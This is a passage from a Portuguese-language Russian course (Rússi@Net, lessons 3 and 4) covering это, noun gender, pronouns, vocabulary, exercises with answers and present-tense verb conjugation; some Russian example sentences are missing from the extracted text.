Você viu nos exemplos acima que os russos conseguem formar frases completas sem usar qualquer tempo verbal do verbo “ser” (“é”, “sou”), do verbo “estar” e sem usar artigos definidos ou indefinidos (“o”, “a”, “um”, “uma”).

Это чай. Isso (é) (o) chá. Вот меню. Aqui (está) (o) cardápio.

Nota: Se as duas partes da sentença possuírem substantivos (ex.: “Maria é uma professora”), o verbo que falta entre os dois substantivos pode ser representado por um traço (Мария [substantivo] – учительница [substantivo]).

3.6 “Isso/Aquilo”: Это Это é uma palavra útil que pode representar tanto “isso/essa” quanto “aquilo/aquela”:

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 30

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

O que é isso/aquilo? Isso/Aquilo é a vodka.

O que é isso/aquilo? Isso/Aquilo é a sopa de beterraba

A: А что это? B: Это сметана [é-ta smye-tá-na].

E o que é isso/aquilo? Isso/Aquilo é o creme de leite. *

* As sopas na Rússia quase sempre são servidas com uma colher de creme de leite parecido com o usado no Brasil, mas com sabor um pouco mais azedo.

3.7 Aqui está ele/ela/(neutro): Вот он/она/оно – Gênero

Todos os substantivos russos (ex.: palavras como “Ivan”, “vodka”, “táxi”, “beleza”) se encaixam em uma das três diferentes categorias de substantivos, dependendo de sua última letra. Essas três categorias são substantivos masculinos (m), substantivos femininos (f) e substantivos neutros (n). A maioria das coisas tipicamente masculinas, como o nome Владимир, são substantivos masculinos, assim como os dias, cidades e línguas; todas essas palavras devem ser referenciadas usando o pronome “ele” он. A maioria das coisas tipicamente femininas, como мама “mamãe”, são substantivos femininos, assim como as palavras vodka (водка), verdade (правда) e Moscou (Москва), que devem ser referenciadas usando o pronome “ela” она. A terceira categoria – a dos substantivos neutros – é totalmente nova para pessoas que têm o português como língua nativa, mas para nossa sorte é a menor delas. Ela é composta de palavras como manhã (утро), vinho (вино) e táxi (такси); essas palavras devem ser referencias usando “ele/ela” (em português) оно (em russo). Assim como no português, geralmente é fácil saber o gênero de um substantivo russo apenas olhando a sua terminação. Aqui estão alguns detalhes:

(a) Substantivos masculinos normalmente terminam com uma consoante ou com a letra й:

борщ “sopa de beterraba” Иван “Ivan” чай “chá”

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 31

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

(b) Substantivos femininos normalmente terminam com а ou я:

сметана “creme de leite azedo” Наталья “Natália” [na-tá-lýya] Москва “Moscou”

(c) Substantivos neutros normalmente terminam com о ou е:

окно “janela” вино “vinho” упражнение “exercício” [u-praj-nyé-ni-ye]

Portanto, você geralmente pode descobrir o gênero de um substantivo apenas olhando para a sua terminação, entretanto, existem algumas exceções aos casos:

(d) A maioria dos substantivos terminados com ь (pronúncia suave) são femininos, mas também existem muitos masculinos, portanto você precisa memorizar o gênero dos substantivos com pronúncia suave.

Exemplos femininos: Сибирь “Sibéria” [si-bírý] мать “mãe” [matý] дверь “porta” [dvyerý]

Exemplos masculinos: рубль “rublo” [rublý] Игорь “Igor” [í-garý] день “dia” [dyený]

(e) Substantivos terminados com а ou я que denotam coisas masculinas, são masculinos:

папа “papai”, “pai” Володя “Volodia” (uma forma carinhosa de dizer Vladimir) дядя “titio” (também uma maneira informal de chamar uma pessoa mais velha; “tio”)

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 32

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

(f) Se o substantivo termina com и, у ou ю, é muito provável que seja uma palavra adaptada ao russo de outra língua estrangeira, portanto é neutro na maioria das vezes:

такси “táxi” меню “cardápio”

(g) Palavras estrangeiras denotando coisas femininas, também são femininas em russo, não importando a sua terminação:

леди (f) “lady” 4 Мари (f) “Mary” (Maria) Маргарет (f) “Margaret”

Se os substantivos não terminam com а, я ou ь então não existe inflexão gramatical (veja mais detalhes na Lição 05, tópico 10).

Outra coisa importante sobre os substantivos russos é que seus gêneros nem sempre concordam com os gêneros de suas traduções para o português ou para outras línguas. Não é pelo fato de uma palavra ser masculina em português, por exemplo, que ela necessariamente será masculina em russo também.

3.8 Pronomes na 3ª Pessoa do Singular

Quando você estiver conversando sobre alguma coisa que já foi nomeada anteriormente, o pronome “ele/ela” usado poderá ser он/она/оно, dependendo do gênero do substantivo que ele está se referindo.

Onde está o chá? Ali está ele.

Onde está o vinho? Ali está ele.

4 Ao contrário do inglês onde este palavra pode significar praticamente qualquer tipo de mulher, em russo ela denota apenas mulheres da nobreza, de alta classe social.

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 3

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

3.9 Vocabulário

Aqui está o vocabulário básico desta lição. Estas são as palavras que você deve aprender:

англичанка [an-gli-tchán-ka] inglesa, mulher da Inglaterra борщ [borshsh] sopa de beterraba брат [brat] irmão Ваня (m) [vá-nya] Vânia (forma carinhosa de dizer Ivan) вино [vi-nó] vinho водка [vót-ka] vodka Володя [va-ló-dya] Volodia (forma carinhosa de dizer Vladimir) газета [ga-zyé-ta] jornal дверь (f) [dvyerý] porta день (m) [dyený] dia дом [dom] casa дядя [dyá-dya] titio, tio (quando dirigida a alguém mais velho) мать (f) [matý] mãe меню (n) [mye-nyú] cardápio Москва [mask-vá] Moscou окно [ak-nó] janela папа (m) [pá-pa] papai, pai рубль (m) [rublý] rublo Сибирь (f) [si-bírý] Sibéria сметана [smye-tá-na] creme de leite azedo такси (n) [tak-sí] táxi упражнение [u-praj-nyé-ni-ye] exercício утро [ú-tra] manhã чай [tcháy] chá шоколад [sha-ka-lát] chocolate

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 34

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br где [gdye] onde что [shto] que, o que он [on] ele она [a-ná] ela оно [a-nó] ele/ela (se referindo a substantivos neutros) это [é-ta] isso/essa, aquilo/aquela а [a] e/mas (indicando um pequeno contraste) вот [vót] aqui/lá (apontando um lugar, objeto ou pessoa) да [da] sim добрый день [dó-bri dyený] boa tarde до свидания [da svi-dá-ni-ya] até logo, adeus здравствуйте [zdrá-stvuy-tye] olá нет [nyet] não пожалуйста [pa-jál-sta] por favor, não há de que, aqui está простите [pra-stí-tye] desculpe-me, sinto muito спасибо [spa-sí-ba] obrigado(a)

O principal problema em se aprender russo é fazer com que todas essas palavras estranhas fiquem na sua memória. Ao contrário do francês, italiano ou espanhol, a maior parte do vocabulário russo é muito diferente do português. A palavra утро, por exemplo, não se parece ou soa parecida com “manhã” em português, e здравствуйте não se parece com nada na Terra. Você terá de ouvir, falar, repetir, escrever ou usar qualquer outro método para memorizar a maioria destas palavras.

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 35

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

3.10 Diálogos (cubra a tradução à direita e teste os seus conhecimentos)

Desculpe-me. O que é isso? Isso é o vinho.

E isso? Isso é uma vodka.

E isso? Pepsi-Cola.

Obrigado. De nada.

Desculpe, por favor, o que é isso? Isso é o chocolate.

Três, por favor. Aqui estão.

Obrigado. De nada.

Onde está o táxi? Ali está ele (neutro).

Onde está Mary? Ali está ela.

Onde está o titio Vânia? Ali está ele.

Onde é a Sibéria? Fica ali.

3.1 EXTRA: Usando os Pronomes

Em sentenças onde você identifica alguma coisa (ex.: “O que é isso?”, “Isso é um rublo”), o pronome “ele/ela” é substituído pelo это. Nesse tipo de sentenças em português o pronome “ele/ela” pode ser substituído por “isso” ou “aquilo” (“Ele é um rublo”, “Isso/Aquilo é um rublo”).

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 36

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Se o predicado (parte fundamental da sentença que contém o verbo e dá detalhes do que ela se trata, ex.: “é um rublo”) contém um substantivo, “ele/ela” sempre deve ser traduzido como это.

Se você estiver falando sobre algum substantivo que já tenha sido mencionado anteriormente, você deve se referir a ele como он, она ou оно, dependendo do gênero:

Onde está o vinho? Aqui está ele.

Lembre-se de sempre traduzir “ele/ela” para это em sentenças onde você identifica alguma coisa, caso o predicado seja um substantivo (ex.: “Isso é o vinho”):

A: Что это? B: Это водка. Это (não она) Старка.

O que é isso? Isso é uma vodka. É uma Starka (tipo de vodka).

A: Где водка (feminino)? B: Вот она.

Onde está a vodka? Aqui/Ali está ela.

EXERCÍCIO 3/2

Responda as perguntas abaixo usando Вот: “Aqui/Ali está ele/ela/(neutro)”

1. Где Анна? 4. Где дядя Ваня? 2. Где брат? 5. Где водка? 3. Где такси? 6. Где вино?

EXERCÍCIO 3/3

Responda as perguntas abaixo em russo, usando as frases entre parênteses:

1. Что это? (Isso é o chá.) 2. Что это? (Isso é um rublo.) 3. Это водка? (Não, isso é o vinho.) 4. Где такси? (Aqui está ele.)

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 37

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

EXERCÍCIO 3/4

Diga em russo:

1. Olá. 6. Não, isso é uma sopa de beterraba. 2. Desculpe-me, o que é isso? 7. Onde está o creme de leite azedo? 3. Isso é o vinho. 8. Desculpe-me, por favor, onde está o Vânia? 4. Obrigado(a). 9. Aqui está ele. 5. Não há de que. 10. Obrigado. Adeus.

EXERCÍCIO 3/5

Leia o nome das cidades que ficam no caminho da Ferrovia Trans-siberiana e diga em que casos você deve usar он (“ele”), она (“ela”) ou оно (neutro):

1 Владивосток. 2 Сковородино. 3 Облучье. 4 Чита. 5 Слюдянка. 6 Банкальск. 7 Москва.

EXERCÍCIO 3/6

Quais dos nomes abaixo são masculinos e quais são femininos?

1 Христиан [hri-sti-án]. 2 Юлиан [yu-li-án]. 3 Аркадий [ar-ká-di]. 4 Маия [má-ya].

Você é capaz de adivinhar (ou você sabe) quais dos nomes abaixo terminados com ь são masculinos e quais são femininos?

5 Игорь [í-garý]. 6 Юдифь [yu-dífý]. 7 Любовь [lyu-bófý]. 8 Нинель [ni-nyélý].

3.12 Respostas dos Exercícios

Curso de Russo: Do Básico ao Avançado Lição 03 Página: 38

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

3/1 Да, Нет, Это, Спасибо, Доброе утро, Добрый день, До свидания, Простите,

3/2 1. Вот она. 2. Вот он. 3. Вот оно.

4. Вот он. 5. Вот она. 6. Вот оно.

3/3 1. Это чай. 2. Это рубль. 3. Нет, это вино. 4. Вот оно.

3/4 1. Здравствуйте. 2. Простите, что это? 3. Это вино. 4. Спасибо. 5. Пожалуйста.

6. Нет, это борщ. 7. Где сметана. 8. Простите, пожалуйста, где Ваня? 9. Вот он. 10. Спасибо. До свидания.

3/5 1 [vla-di-va-stók] (m) он. 2 [ska-va-ra-di-nó] (n) оно. 3 [ab-lú-tchye] (n) оно. 4 [tchi-tá] (f) она. 5 [slyu-dyán-ka] (f) она. 6 [bay-kálýsk] (m) он. 7 [mask-vá] (f) она.

3/6 1 [hri-sti-án] = Christian (m). 2 [yu-li-án] = Julian (m). 3 [ar-ká-di] = Arkadii (m). 4 [má-ya] = Maya (f). 5 [í-garý] = Igor (m). 6 [yu-dífý] = Judith (f). 7 [lyu-bófý] = Lyubov (“amor”) (f). 8 [ni-nyélý] = Ninel (um nome feminino russo, criado dizendo o nome Lênin de trás para frente).

Curso de Russo: Do Básico ao Avançado Lição 04 Página: 39

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

4 УРОК НОМЕР ЧЕТЫРЕ EXECUTANDO AÇÕES – VERBOS; PRONOMES PESSOAIS

Скажите, пожалуйстаDiga-me, por favor... / Poderia me dizer...

4.1 Frases Úteis

Eu não entendo. Você me entende?

Você fala russo? Ele não fala russo.

Desculpe-me, qual o seu nome? Meu nome é Volodia. Prazer (“Muito prazer”) em conhecê-lo.

Você sabe onde está a Eva? Eu não sei.

Onde você mora? Eu moro no Brasil.

Не курить! Não fume!

4.2 Os Oito Pronomes Pessoais (“Eu”, “você”, etc...)

Я Eu Ты Você (quando estiver falando com um amigo, parente ou uma criança). Esta é conhecida como a forma “familiar” (fam) do pronome você.

Curso de Russo: Do Básico ao Avançado Lição 04 Página: 40

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Ele Ela (Neutro) Estes você conheceu na Lição 03.

Мы Nós Вы Você/Vocês (quando estiver falando com alguém que não conhece bem ou quando estiver falando com mais de uma pessoa). Esta é a forma polida ou no plural (pol/pl) do pronome você. Они Eles/Elas

Para executar alguma ação, você precisa de verbos. Um verbo é uma palavra que expressa uma ação ou um estado, o tipo de palavra que pode preencher a lacuna no espaço ao lado “Ela _ em São Paulo”, ex.: trabalha, trabalhou, estava, vive, dirige. Nos dicionários russos, os verbos são listados na sua forma infinitiva (isso corresponde ao “dirigir”, “estar”, etc em português). Os verbos russos no infinitivo normalmente terminam com ть (ex.: курить “fumar”, знать “saber”).

4.4 Conjugação dos Verbos no Presente. Tipo 1: знать “saber”

Verbos no presente descrevem ações que estão acontecendo no momento do diálogo (“Eu trabalho em Moscou”, “Ela está indo para a escola”). Em russo existe apenas uma forma para o presente que corresponde tanto para o infinitivo (“Eu faço”) quando para o gerúndio (“Eu estou fazendo”). Verbos no gerúndio são aqueles que executam uma ação e esta ação continua sendo executada no momento do diálogo.

A lista das formas verbais que se encaixam em cada um dos oito pronomes pessoais é conhecida como conjugação do verbo. A parte do verbo que não varia nunca nas conjugações é conhecida como raiz do verbo. A maioria (não todos) dos verbos do tipo знать possui como raiz a sua forma no infinitivo menos a terminação ть. Desta maneira, a raiz do verbo знать é зна. Nos exemplos de conjugação apresentados a seguir, todas as terminações dos verbos serão sublinhadas para facilitar sua compreensão no início.

Curso de Russo: Do Básico ao Avançado Lição 04 Página: 41

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br я знаю [zná-yu] eu sei ты знаешь [zná-yesh] você (familiar) sabe он знает [zná-yet] ele sabe она знает [zná-yet] ela sabe оно знает [zná-yet] (neutro) sabe estes três pronomes possuem sempre a mesma conjugação verbal no presente. мы знаем [zná-yem] nós sabemos вы знаете [zná-ye-tye] você sabe (polido) / vocês sabem (plural) они знают [zná-yut] eles/elas sabem

Note: No russo coloquial (informal), o pronome pode ser omitido (sujeito oculto), desta maneira “Eu sei” poderia simplesmente ficar como Знаю. Mas lembre-se que esta é uma maneira de informal de usar os verbos e raramente é usada na forma mais estilizada do russo.

Nós sabemos onde está o Vania. Você me conhece?

A maioria dos verbos russos possui este tipo de conjugação e nós devemos chamá-los de verbos do tipo знать ou Tipo 1.

4.5 Tipo 2: говорить “falar”

O exemplo padrão para o segundo tipo de conjugação no presente é o verbo говорить “falar”. A raiz deste verbo é говор:

я говорю eu falo/estou falando ты говоришь você (familiar) fala он говорит ele fala она говорит ela fala оно говорит (neutro) fala мы говорим nós falamos

Curso de Russo: Do Básico ao Avançado Lição 04 Página: 42

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br вы говорите você fala (polido) / vocês falam (plural) они говорят eles/elas falam

Preste atenção na terminação ят na conjugação do verbo com o pronome они.

Я говорю по-русски. Eu falo russo. Они говорят по-английски. Eles falam inglês. Вы говорите по-португальски? Você fala português?

4.6 Tipo 1B: ехать “ir (por um meio de transporte)”, жить “viver”

O terceiro (e último) tipo de conjugação verbal em russo é uma variação do tipo знать. A maioria dos verbos deste tipo tem a mesma terminação dos verbos do tipo знать, mas o problema está em descobrir qual é a raiz do verbo no infinitivo. Nosso primeiro exemplo é o verbo ехать “ir (apenas quando estiver usando algum meio de transporte, ex.: ir de carro, ir de bicicleta)”. A raiz deste verbo é ед (não existe nenhuma regra para que você pudesse saber isso antecipadamente, a única solução é decorar) e a conjugação fica:

я еду eu vou/estou indo оно едет (neutro) vai ты едешь você vai (fam) мы едем nós vamos он едет ele vai вы едете você(s) vai/vão она едет ela vai они едут eles/elas vão

Você pode ver que na conjugação do verbo com os pronomes я e они a terminação do verbo é у, mas nas conjugações do tipo знать a terminação é ю. Esta é a única diferença entre conjugações do Tipo 1 e Tipo 1B, no restante dos pronomes a terminação do verbo é a mesma.

Aqui está outro exemplo, o verbo жить “viver” (apesar de sua terminação ser ить, ele é um verbo do tipo ехать). A raiz imprevisível deste verbo é жив [jiv] (2.4.3) e sua conjugação fica assim: